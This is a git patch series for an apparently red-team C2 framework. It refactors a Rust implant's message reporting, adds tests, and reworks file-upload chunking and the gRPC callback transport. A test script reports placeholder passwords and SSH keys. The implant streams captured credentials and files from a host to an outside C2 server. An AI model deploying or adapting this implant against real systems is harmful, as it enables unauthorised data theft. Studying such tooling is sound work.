Self::ReportAggOutput(msg) => msg.dispatch(transport).await, Self::ReportStart(msg) => msg.dispatch(transport).await, Self::ReportFinish(msg) => msg.dispatch(transport).await, diff --git a/implants/lib/eldritch/src/runtime/messages/reduce.rs b/implants/lib/eldritch/src/runtime/messages/reduce.rs new file mode 100644 index 000000000..495c52765 --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/reduce.rs @@ -0,0 +1,297 @@ +use super::{report_agg_output::ReportAggOutputMessage, Message}; +use pb::c2::TaskError; + +pub(crate) fn reduce(mut messages: Vec) -> Vec { + let mut id = 0; + let mut exec_finished_at = None; + let mut exec_started_at = None; + let mut error = String::new(); + let mut text = String::new(); + + let mut idx = 0; + while idx < messages.len() { + match &mut messages[idx] { + Message::ReportStart(msg) => { + #[cfg(debug_assertions)] + if id != 0 && msg.id != id { + log::warn!("overwriting conflicting id (old={},new={})", id, msg.id); + } + + id = msg.id; + if exec_started_at.is_none() { + exec_started_at = Some(msg.exec_started_at.clone()); + } + messages.remove(idx); + } + Message::ReportFinish(msg) => { + #[cfg(debug_assertions)] + if id != 0 && msg.id != id { + log::warn!("overwriting conflicting id (old={},new={})", id, msg.id); + } + + id = msg.id; + if exec_finished_at.is_none() { + exec_finished_at = Some(msg.exec_finished_at.clone()); + } + messages.remove(idx); + } + Message::ReportText(msg) => { + #[cfg(debug_assertions)] + if id != 0 && msg.id != id { + log::warn!("overwriting conflicting id (old={},new={})", id, msg.id); + } + + id = msg.id; + text.push_str(&msg.text); + messages.remove(idx); + } + Message::ReportError(msg) => { + #[cfg(debug_assertions)] + if id != 0 && msg.id != id { + log::warn!("overwriting conflicting id (old={},new={})", id, msg.id); + } + + id = msg.id; + error.push_str(&msg.error); + messages.remove(idx); + } + _ => { + idx += 1; + } + }; + } + + // Add Aggregated Message (if available) + if id != 0 { + messages.push(Message::from(ReportAggOutputMessage { + id, + text, + error: if error.is_empty() { + None + } else { + Some(TaskError { msg: error }) + }, + exec_started_at, + exec_finished_at, + })); + } + + messages +} + +#[cfg(test)] +mod tests { + use super::{Message, ReportAggOutputMessage}; + use crate::runtime::messages::*; + use pb::c2::*; + use pb::eldritch::credential; + use pb::eldritch::process; + use pb::eldritch::*; + use prost_types::Timestamp; + + macro_rules! test_cases { + ($($name:ident: $value:expr,)*) => { + $( + #[test] + fn $name() { + let tc = $value; + let messages = super::reduce(tc.messages); + assert_eq!(tc.want_messages, messages); + } + )* + } + } + + struct TestCase { + messages: Vec, + want_messages: Vec, + } + + test_cases!( + empty: TestCase { + messages: Vec::new(), + want_messages: Vec::new(), + }, + multi_text: TestCase { + messages: vec![ + Message::from(ReportTextMessage{ + id: 12345, + text: String::from("abc"), + }), + Message::from(ReportTextMessage{ + id: 12345, + text: String::from("defg"), + }), + ], + want_messages: vec![ + Message::from(ReportAggOutputMessage{ + id: 12345, + text: String::from("abcdefg"), + error: None, + exec_started_at: None, + exec_finished_at: None, + }), + ], + }, + multi_err: TestCase { + messages: vec![ + Message::from(ReportErrorMessage{ + id: 12345, + error: String::from("abc"), + }), + Message::from(ReportErrorMessage{ + id: 12345, + error: String::from("defg"), + }), + ], + want_messages: vec![ + Message::from(ReportAggOutputMessage{ + id: 12345, + error: Some(TaskError{ + msg: String::from("abcdefg"), + }), + text: String::new(), + exec_started_at: None, + exec_finished_at: None, + }), + ], + }, + complex: TestCase { + messages: vec![ + Message::from(ReportStartMessage{ + id: 12345, + exec_started_at: Timestamp{ + seconds: 998877, + nanos: 1337, + }, + }), + Message::from(ReportProcessListMessage{ + id: 123456, + list: ProcessList{list: vec![ + Process{ + pid: 5, + ppid: 101, + name: "test".to_string(), + principal: "root".to_string(), + path: "/bin/cat".to_string(), + env: "COOL=1".to_string(), + cmd: "cat".to_string(), + cwd: "/home/meow".to_string(), + status: process::Status::Idle.into(), + }, + Process{ + pid: 5, + ppid: 101, + name: "test".to_string(), + principal: "root".to_string(), + path: "/bin/cat".to_string(), + env: "COOL=1".to_string(), + cmd: "cat".to_string(), + cwd: "/home/meow".to_string(), + status: process::Status::Idle.into(), + }, + ]}, + }), + Message::from(ReportTextMessage{ + id: 12345, + text: String::from("meow"), + }), + Message::from(ReportCredentialMessage{ + id: 5678, + credential: Credential{ + principal: String::from("roboto"), + secret: String::from("domo arigato mr."), + kind: credential::Kind::Password.into(), + } + }), + Message::from(ReportErrorMessage{ + id: 12345, + error: String::from("part of an "), + }), + Message::from(ReportCredentialMessage{ + id: 9876, + credential: Credential{ + principal: String::from("roboto"), + secret: String::from("domo arigato mr."), + kind: credential::Kind::Password.into(), + } + }), + Message::from(ReportTextMessage{ + id: 12345, + text: String::from(";bark"), + }), + Message::from(ReportErrorMessage{ + id: 12345, + error: String::from("error.\n done."), + }), + Message::from(ReportFinishMessage{ + id: 12345, + exec_finished_at: Timestamp{ + seconds: 998877666, + nanos: 4201337, + }, + }), + ], + want_messages: vec![ + Message::from(ReportProcessListMessage{ + id: 123456, + list: ProcessList{list: vec![ + Process{ + pid: 5, + ppid: 101, + name: "test".to_string(), + principal: "root".to_string(), + path: "/bin/cat".to_string(), + env: "COOL=1".to_string(), + cmd: "cat".to_string(), + cwd: "/home/meow".to_string(), + status: process::Status::Idle.into(), + }, + Process{ + pid: 5, + ppid: 101, + name: "test".to_string(), + principal: "root".to_string(), + path: "/bin/cat".to_string(), + env: "COOL=1".to_string(), + cmd: "cat".to_string(), + cwd: "/home/meow".to_string(), + status: process::Status::Idle.into(), + }, + ]}, + }), + Message::from(ReportCredentialMessage{ + id: 5678, + credential: Credential{ + principal: String::from("roboto"), + secret: String::from("domo arigato mr."), + kind: credential::Kind::Password.into(), + } + }), + Message::from(ReportCredentialMessage{ + id: 9876, + credential: Credential{ + principal: String::from("roboto"), + secret: String::from("domo arigato mr."), + kind: credential::Kind::Password.into(), + } + }), + Message::from(ReportAggOutputMessage{ + id: 12345, + error: Some(TaskError{ + msg: String::from("part of an error.\n done."), + }), + text: String::from("meow;bark"), + exec_started_at: Some(Timestamp{ + seconds: 998877, + nanos: 1337, + }), + exec_finished_at: Some(Timestamp{ + seconds: 998877666, + nanos: 4201337, + }), + }), + ], + }, + ); +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_agg_output.rs b/implants/lib/eldritch/src/runtime/messages/report_agg_output.rs new file mode 100644 index 000000000..6a0a6c8b4 --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/report_agg_output.rs @@ -0,0 +1,43 @@ +use super::{Dispatcher, Transport}; +use anyhow::Result; +use pb::c2::{ReportTaskOutputRequest, TaskError, TaskOutput}; +use prost_types::Timestamp; + +/* + * ReportAggOutput reports aggregated Text, Error, Start, and Finish messages + * created by this tome's evaluation to help reduce load on the transpower. + * + * Prefer using Text, Error, Start, and Finish messages instead. + */ +#[cfg_attr(debug_assertions, derive(Debug, PartialEq))] +#[derive(Clone)] +pub struct ReportAggOutputMessage { + pub(crate) id: i64, + pub(crate) error: Option, + pub(crate) text: String, + pub(crate) exec_started_at: Option, + pub(crate) exec_finished_at: Option, +} + +impl ReportAggOutputMessage { + pub fn text(&self) -> String { + self.text.clone() + } +} + +impl Dispatcher for ReportAggOutputMessage { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + transport + .report_task_output(ReportTaskOutputRequest { + output: Some(TaskOutput { + id: self.id, + output: self.text, + exec_started_at: self.exec_started_at, + exec_finished_at: self.exec_finished_at, + error: self.error, + }), + }) + .await?; + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_credential.rs b/implants/lib/eldritch/src/runtime/messages/report_credential.rs index db7fd464c..15b277f65 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_credential.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_credential.rs @@ -5,7 +5,7 @@ use pb::{c2::ReportCredentialRequest, eldritch::Credential}; /* * ReportCredentialMessage reports a credential captured by this tome's evaluation. */ -#[cfg_attr(debug_assertions, derive(Debug))] +#[cfg_attr(debug_assertions, derive(Debug, PartialEq))] #[derive(Clone)] pub struct ReportCredentialMessage { pub(crate) id: i64, diff --git a/implants/lib/eldritch/src/runtime/messages/report_error.rs b/implants/lib/eldritch/src/runtime/messages/report_error.rs index 68c84ec33..d99d2585d 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_error.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_error.rs @@ -5,7 +5,7 @@ use pb::c2::{ReportTaskOutputRequest, TaskError, TaskOutput}; /* * ReportErrorMessage reports an error encountered by this tome's evaluation. */ -#[cfg_attr(debug_assertions, derive(Debug))] +#[cfg_attr(debug_assertions, derive(Debug, PartialEq))] #[derive(Clone)] pub struct ReportErrorMessage { pub(crate) id: i64, diff --git a/implants/lib/eldritch/src/runtime/messages/report_file.rs b/implants/lib/eldritch/src/runtime/messages/report_file.rs index deb2d3c19..07fb8cfcf 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_file.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_file.rs @@ -16,7 +16,7 @@ use std::{io::Read, sync::mpsc::sync_channel}; * If the transport errors, it will close the file and exit immediately. * It will not open the provided file until it has been dispatched. */ -#[cfg_attr(debug_assertions, derive(Debug))] +#[cfg_attr(debug_assertions, derive(Debug, PartialEq))] #[derive(Clone)] pub struct ReportFileMessage { pub(crate) id: i64, @@ -26,22 +26,26 @@ pub struct ReportFileMessage { impl Dispatcher for ReportFileMessage { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { // Configure Limits - const CHUNK_SIZE: usize = 1024 * 1024; // 1MB Limit per chunk - const MAX_FILE_SIZE: usize = CHUNK_SIZE * 1024; // 1GB Limit per file + const CHUNK_SIZE: usize = 1024; // 1 KB Limit (/chunk) + const MAX_CHUNKS_QUEUED: usize = 10; // 10 KB Limit (in channel) + const MAX_FILE_SIZE: usize = 1024 * 1024 * 1024; // 1GB Limit (total file size) // Use a sync_channel to limit memory usage in case of network errors. // e.g. stop reading the file until more chunks can be sent. - let (tx, rx) = sync_channel(1); + let (tx, rx) = sync_channel(MAX_CHUNKS_QUEUED); // Spawn a new tokio task to read the file (in chunks) let task_id = self.id; let path = self.path.clone(); - let handle = tokio::spawn(async move { + tokio::spawn(async move { let result = || -> Result<()> { // Open file for reading let mut f = std::fs::File::open(&path)?; - if f.metadata()?.len() > MAX_FILE_SIZE as u64 { - return Err(anyhow!("execeeded max file size")); + let meta = f.metadata()?; + + // Limit file sizes + if meta.len() > MAX_FILE_SIZE as u64 { + return Err(anyhow!("exceeded max file size")); } // Loop until we've finished reading the file @@ -49,6 +53,13 @@ impl Dispatcher for ReportFileMessage { let mut buffer = [0; CHUNK_SIZE]; let n = f.read(&mut buffer[..])?; + #[cfg(debug_assertions)] + log::info!( + "reporting file chunk (task_id={}, size={})", + task_id, + buffer.len() + ); + // Send chunk to the transport stream this will block until // the transport stream is able to flush the data to the network tx.send(ReportFileRequest { @@ -66,7 +77,9 @@ impl Dispatcher for ReportFileMessage { size: 0, sha3_256_hash: String::new(), }), - chunk: buffer.to_vec(), + + // ..n so that we don't upload empty bytes + chunk: buffer[..n].to_vec(), }), })?; @@ -86,8 +99,9 @@ impl Dispatcher for ReportFileMessage { }); // Wait for completion - let (_, join_err) = tokio::join!(transport.report_file(rx), handle); - join_err?; + transport.report_file(rx).await?; + // let (_, join_err) = tokio::join!(transport.report_file(rx), handle); + // join_err?; Ok(()) } diff --git a/implants/lib/eldritch/src/runtime/messages/report_finish.rs b/implants/lib/eldritch/src/runtime/messages/report_finish.rs index 583a587a3..38c35d95d 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_finish.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_finish.rs @@ -6,11 +6,11 @@ use prost_types::Timestamp; /* * ReportFinishMessage indicates the end of a tome's evaluation. */ -#[cfg_attr(debug_assertions, derive(Debug))] +#[cfg_attr(debug_assertions, derive(Debug, PartialEq))] #[derive(Clone)] pub struct ReportFinishMessage { pub(crate) id: i64, - pub(crate) exec_finished_at: Option, + pub(crate) exec_finished_at: Timestamp, } impl Dispatcher for ReportFinishMessage { @@ -21,7 +21,7 @@ impl Dispatcher for ReportFinishMessage { id: self.id, output: String::new(), exec_started_at: None, - exec_finished_at: self.exec_finished_at, + exec_finished_at: Some(self.exec_finished_at), error: None, }), }) diff --git a/implants/lib/eldritch/src/runtime/messages/report_process_list.rs b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs index c9c4eb02c..67c799486 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_process_list.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs @@ -6,7 +6,7 @@ use pb::{c2::ReportProcessListRequest, eldritch::ProcessList}; * ReportProcessListMessage reports a process list snapshot captured by this tome's evaluation. * It should never be send with a partial listing, only with full process lists. */ -#[cfg_attr(debug_assertions, derive(Debug))] +#[cfg_attr(debug_assertions, derive(Debug, PartialEq))] #[derive(Clone)] pub struct ReportProcessListMessage { pub(crate) id: i64, diff --git a/implants/lib/eldritch/src/runtime/messages/report_start.rs b/implants/lib/eldritch/src/runtime/messages/report_start.rs index 6eac271c4..924092e63 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_start.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_start.rs @@ -6,11 +6,11 @@ use prost_types::Timestamp; /* * ReportStartMessage indicates the start of a tome's evaluation. */ -#[cfg_attr(debug_assertions, derive(Debug))] +#[cfg_attr(debug_assertions, derive(Debug, PartialEq))] #[derive(Clone)] pub struct ReportStartMessage { pub(crate) id: i64, - pub(crate) exec_started_at: Option, + pub(crate) exec_started_at: Timestamp, } impl Dispatcher for ReportStartMessage { @@ -20,7 +20,7 @@ impl Dispatcher for ReportStartMessage { output: Some(TaskOutput { id: self.id, output: String::new(), - exec_started_at: self.exec_started_at, + exec_started_at: Some(self.exec_started_at), exec_finished_at: None, error: None, }), diff --git a/implants/lib/eldritch/src/runtime/messages/report_text.rs b/implants/lib/eldritch/src/runtime/messages/report_text.rs index c24f0ca78..2dc03de2e 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_text.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_text.rs @@ -5,7 +5,7 @@ use pb::c2::{ReportTaskOutputRequest, TaskOutput}; /* * ReportTextMessage reports textual output (e.g. from `print()`) created by this tome's evaluation. */ -#[cfg_attr(debug_assertions, derive(Debug))] +#[cfg_attr(debug_assertions, derive(Debug, PartialEq))] #[derive(Clone)] pub struct ReportTextMessage { pub(crate) id: i64, diff --git a/implants/lib/transport/src/grpc.rs b/implants/lib/transport/src/grpc.rs index b3a093569..e3b7fff8c 100644 --- a/implants/lib/transport/src/grpc.rs +++ b/implants/lib/transport/src/grpc.rs @@ -6,6 +6,9 @@ use tonic::codec::ProstCodec; use tonic::GrpcMethod; use tonic::Request; +#[cfg(debug_assertions)] +use std::time::Duration; + static CLAIM_TASKS_PATH: &str = "/c2.C2/ClaimTasks"; static FETCH_ASSET_PATH: &str = "/c2.C2/DownloadFile"; static REPORT_CREDENTIAL_PATH: &str = "/c2.C2/ReportCredential"; @@ -106,7 +109,12 @@ impl Transport for GRPC { impl GRPC { pub async fn new(callback: String) -> Result { let endpoint = tonic::transport::Endpoint::from_shared(callback)?; - let channel = endpoint.connect().await?; + + let channel = endpoint + .rate_limit(1, Duration::from_millis(25)) + .connect() + .await?; + let grpc = tonic::client::Grpc::new(channel); Ok(Self { grpc }) } diff --git a/tavern/internal/c2/api_report_file.go b/tavern/internal/c2/api_report_file.go index b756eb7fb..46b073ea0 100644 --- a/tavern/internal/c2/api_report_file.go +++ b/tavern/internal/c2/api_report_file.go @@ -135,7 +135,7 @@ func (srv *Server) ReportFile(stream c2pb.C2_ReportFileServer) error { return rollback(tx, fmt.Errorf("failed to remove previous host files: %w", err)) } - // Commit Transaction + // // Commit Transaction if err := tx.Commit(); err != nil { return rollback(tx, fmt.Errorf("failed to commit transaction: %w", err)) } diff --git a/tavern/tomes/example/main.eldritch b/tavern/tomes/example/main.eldritch index 693ffb9ac..3e3b23725 100644 --- a/tavern/tomes/example/main.eldritch +++ b/tavern/tomes/example/main.eldritch @@ -1 +1,14 @@ print(input_params['msg']) + + +for i in range(0, 100): + print("doing it up: "+str(i)) + report.user_password("root", "your mom") + report.ssh_key("root", "still your mom") + report.file("/tmp/test_file") + + + + +print("now for an error") +assets.copy("/get/fucked", "/tmp/oh_ok") From b3a4786eba3047325b552de2d7568846f3aee435 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Fri, 16 Feb 2024 05:10:31 +0000 Subject: [PATCH 11/13] ;) --- implants/imix/src/agent.rs | 38 +++++++++++-------------- implants/imix/src/main.rs | 5 ++-- implants/lib/transport/src/grpc.rs | 23 +++++++-------- implants/lib/transport/src/mock.rs | 2 ++ implants/lib/transport/src/transport.rs | 3 ++ 5 files changed, 35 insertions(+), 36 deletions(-) diff --git a/implants/imix/src/agent.rs b/implants/imix/src/agent.rs index eca7ded3d..de64ba1cc 100644 --- a/implants/imix/src/agent.rs +++ b/implants/imix/src/agent.rs @@ -1,6 +1,6 @@ use crate::{config::Config, task::TaskHandle}; use anyhow::Result; -use pb::c2::{Beacon, ClaimTasksRequest}; +use pb::c2::ClaimTasksRequest; use std::time::{Duration, Instant}; use transport::{Transport, GRPC}; @@ -8,32 +8,27 @@ use transport::{Transport, GRPC}; * Agent contains all relevant logic for managing callbacks to a c2 server. * It is responsible for obtaining tasks, executing them, and returning their output. */ -pub struct Agent { - info: Beacon, - tavern: T, +pub struct Agent { + cfg: Config, handles: Vec, } -impl Agent { +impl Agent { /* * Initialize an agent using the provided configuration. */ - pub async fn gen_from_config(cfg: Config) -> Result> { - let tavern = GRPC::new(cfg.callback_uri).await?; - + pub fn new(cfg: Config) -> Result { Ok(Agent { - info: cfg.info, - tavern, + cfg, handles: Vec::new(), }) } // Claim tasks and start their execution - async fn claim_tasks(&mut self) -> Result<()> { - let tasks = self - .tavern + async fn claim_tasks(&mut self, mut tavern: GRPC) -> Result<()> { + let tasks = tavern .claim_tasks(ClaimTasksRequest { - beacon: Some(self.info.clone()), + beacon: Some(self.cfg.info.clone()), }) .await? .tasks; @@ -59,19 +54,19 @@ impl Agent { } // Report task output, remove completed tasks - async fn report(&mut self) -> Result<()> { + async fn report(&mut self, mut tavern: GRPC) -> Result<()> { // Report output from each handle let mut idx = 0; while idx < self.handles.len() { // Drop any handles that have completed if self.handles[idx].is_finished() { let mut handle = self.handles.remove(idx); - handle.report(&mut self.tavern).await?; + handle.report(&mut tavern).await?; continue; } // Otherwise report and increment - self.handles[idx].report(&mut self.tavern).await?; + self.handles[idx].report(&mut tavern).await?; idx += 1; } @@ -82,8 +77,9 @@ impl Agent { * Callback once using the configured client to claim new tasks and report available output. */ pub async fn callback(&mut self) -> Result<()> { - self.claim_tasks().await?; - self.report().await?; + let transport = GRPC::new(self.cfg.callback_uri.clone())?; + self.claim_tasks(transport.clone()).await?; + self.report(transport.clone()).await?; Ok(()) } @@ -91,7 +87,7 @@ impl Agent { /* * Callback indefinitely using the configured client to claim new tasks and report available output. */ - pub async fn callback_loop(&mut self) { + pub async fn callback_loop(&mut self) -> Result<()> { loop { let start = Instant::now(); @@ -103,7 +99,7 @@ impl Agent { } }; - let interval = self.info.interval; + let interval = self.cfg.info.interval; let delay = match interval.checked_sub(start.elapsed().as_secs()) { Some(secs) => Duration::from_secs(secs), None => Duration::from_secs(0), diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs index 5ec4812a4..e530f864c 100644 --- a/implants/imix/src/main.rs +++ b/implants/imix/src/main.rs @@ -38,9 +38,8 @@ async fn main() { } async fn run(cfg: Config) -> Result<()> { - let mut agent = Agent::gen_from_config(cfg).await?; - - agent.callback_loop().await; + let mut agent = Agent::new(cfg)?; + agent.callback_loop().await?; Ok(()) } diff --git a/implants/lib/transport/src/grpc.rs b/implants/lib/transport/src/grpc.rs index e3b7fff8c..0ac68a7f8 100644 --- a/implants/lib/transport/src/grpc.rs +++ b/implants/lib/transport/src/grpc.rs @@ -22,6 +22,17 @@ pub struct GRPC { } impl Transport for GRPC { + fn new(callback: String) -> Result { + let endpoint = tonic::transport::Endpoint::from_shared(callback)?; + + let channel = endpoint + .rate_limit(1, Duration::from_millis(25)) + .connect_lazy(); + + let grpc = tonic::client::Grpc::new(channel); + Ok(Self { grpc }) + } + async fn claim_tasks(&mut self, request: ClaimTasksRequest) -> Result { let resp = self.claim_tasks_impl(request).await?; Ok(resp.into_inner()) @@ -107,18 +118,6 @@ impl Transport for GRPC { } impl GRPC { - pub async fn new(callback: String) -> Result { - let endpoint = tonic::transport::Endpoint::from_shared(callback)?; - - let channel = endpoint - .rate_limit(1, Duration::from_millis(25)) - .connect() - .await?; - - let grpc = tonic::client::Grpc::new(channel); - Ok(Self { grpc }) - } - /// /// Contact the server for new tasks to execute. pub async fn claim_tasks_impl( diff --git a/implants/lib/transport/src/mock.rs b/implants/lib/transport/src/mock.rs index 733b03194..b429178d6 100644 --- a/implants/lib/transport/src/mock.rs +++ b/implants/lib/transport/src/mock.rs @@ -10,6 +10,8 @@ mock! { fn clone(&self) -> Self; } impl super::Transport for Transport { + fn new(uri: String) -> Result; + async fn claim_tasks(&mut self, request: ClaimTasksRequest) -> Result; async fn fetch_asset( diff --git a/implants/lib/transport/src/transport.rs b/implants/lib/transport/src/transport.rs index fddfe5d50..32577f31f 100644 --- a/implants/lib/transport/src/transport.rs +++ b/implants/lib/transport/src/transport.rs @@ -4,6 +4,9 @@ use std::sync::mpsc::{Receiver, Sender}; #[trait_variant::make(Transport: Send)] pub trait UnsafeTransport: Clone + Send { + // New will initialize a new instance of the transport using the provided URI. + fn new(uri: String) -> Result; + /// /// Contact the server for new tasks to execute. async fn claim_tasks(&mut self, request: ClaimTasksRequest) -> Result; From 56ab186ba1f6f0c16bbf348708b16492c15c36fb Mon Sep 17 00:00:00 2001 From: KCarretto Date: Fri, 16 Feb 2024 05:14:01 +0000 Subject: [PATCH 12/13] can't fudge a line count with nick on duty >:( --- implants/lib/eldritch/src/runtime/messages/report_file.rs | 2 -- 1 file changed, 2 deletions(-) diff --git a/implants/lib/eldritch/src/runtime/messages/report_file.rs b/implants/lib/eldritch/src/runtime/messages/report_file.rs index 07fb8cfcf..bf3b43b0f 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_file.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_file.rs @@ -100,8 +100,6 @@ impl Dispatcher for ReportFileMessage { // Wait for completion transport.report_file(rx).await?; - // let (_, join_err) = tokio::join!(transport.report_file(rx), handle); - // join_err?; Ok(()) } From c0319cd5e35efa79a382c32975fba2c2a0a6480a Mon Sep 17 00:00:00 2001 From: KCarretto Date: Fri, 16 Feb 2024 05:16:16 +0000 Subject: [PATCH 13/13] fine :eyeroll: --- tavern/internal/c2/api_report_file.go | 2 +- tavern/tomes/example/main.eldritch | 13 ------------- 2 files changed, 1 insertion(+), 14 deletions(-) diff --git a/tavern/internal/c2/api_report_file.go b/tavern/internal/c2/api_report_file.go index 46b073ea0..b756eb7fb 100644 --- a/tavern/internal/c2/api_report_file.go +++ b/tavern/internal/c2/api_report_file.go @@ -135,7 +135,7 @@ func (srv *Server) ReportFile(stream c2pb.C2_ReportFileServer) error { return rollback(tx, fmt.Errorf("failed to remove previous host files: %w", err)) } - // // Commit Transaction + // Commit Transaction if err := tx.Commit(); err != nil { return rollback(tx, fmt.Errorf("failed to commit transaction: %w", err)) } diff --git a/tavern/tomes/example/main.eldritch b/tavern/tomes/example/main.eldritch index 3e3b23725..693ffb9ac 100644 --- a/tavern/tomes/example/main.eldritch +++ b/tavern/tomes/example/main.eldritch @@ -1,14 +1 @@ print(input_params['msg']) - - -for i in range(0, 100): - print("doing it up: "+str(i)) - report.user_password("root", "your mom") - report.ssh_key("root", "still your mom") - report.file("/tmp/test_file") - - - - -print("now for an error") -assets.copy("/get/fucked", "/tmp/oh_ok")